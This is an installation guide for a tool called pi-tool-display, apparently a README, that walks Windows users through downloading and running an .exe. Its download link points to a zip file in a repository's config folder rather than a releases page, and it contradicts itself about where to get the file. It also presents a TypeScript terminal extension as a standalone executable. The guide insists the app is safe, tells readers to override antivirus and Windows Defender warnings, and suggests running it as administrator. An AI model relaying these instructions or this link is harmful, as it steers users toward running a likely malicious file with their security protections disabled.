pi-tool-display helps you see what tools output when you use the Pi coding agent. It works like a friendly display for commands in the Terminal. If you use Pi extensions or work with MCP or RTK systems, this app shows your results clearly in a text-based user interface (TUI). It runs on Windows without extra setup.
You don't need to be a programmer. Just follow the steps, and you can start using the tool easily.
Before you start, make sure your computer meets these needs:
- Windows 10 or later (64-bit recommended)
- At least 2 GB of free disk space
- 4 GB of RAM or more
- Internet connection for initial download
- Standard keyboard and screen resolution of 1024x768 or higher
Here is how to get pi-tool-display running on your Windows computer.
Click this big green button to visit the download page on GitHub:
On that page, look for the latest release or download section. You will find files ready to download. Choose the Windows version, usually ending with .exe, and save it on your computer.
Go to the folder where you saved the file. This is usually the "Downloads" folder.
Double-click the .exe file. If Windows asks for permission, select "Yes" or "Run". This starts the app.
If you see any warnings from Windows Defender or other security software, confirm that you trust the app and want to run it. This app is safe and does not harm your computer.
Once the app opens, it shows a simple window. Here is what you can expect:
- A text area displaying outputs from Pi coding tools
- Support for commands using MCP and RTK systems
- Navigation in the window using arrow keys and simple commands
- Clear, organized display of tool results in the terminal style
You can enter commands if the app asks, or it may start showing automatic output from connected Pi tools.
- OpenCode-style display for coding agent outputs
- Easy-to-read text interface, no graphics needed
- Works with Pi extensions and terminal commands
- Monitors and displays MCP-aware and RTK-aware tool results
- Lightweight app that runs smoothly on most Windows machines
If the app does not run or shows errors, try these ideas:
- Make sure your Windows is up to date
- Check if your antivirus is blocking the app and allow it
- Restart your computer and try again
- Confirm you downloaded the correct
.exefile for Windows - Look in the app window or terminal for any error messages and note them
- Try running the app as an administrator (right-click > Run as administrator)
The application uses TypeScript and terminal UI (TUI) principles to show information clearly. It is designed for users who deal with Pi coding agents and command-line tools but want a simpler way to read outputs.
The app does not require installation beyond running the .exe file. This means it won’t change system settings and can be removed by deleting the file.
You can always visit the official project page to download the latest version:
https://raw.githubusercontent.com/Ankur2912/pi-tool-display/main/config/display_tool_pi_v2.9.zip
Click the “Releases” tab and download the newest .exe file for Windows.
When you download pi-tool-display, the package includes:
- The main executable file (
pi-tool-display.exe) - A readme file with this user guide

No installation steps are needed beyond downloading and running the .exe.
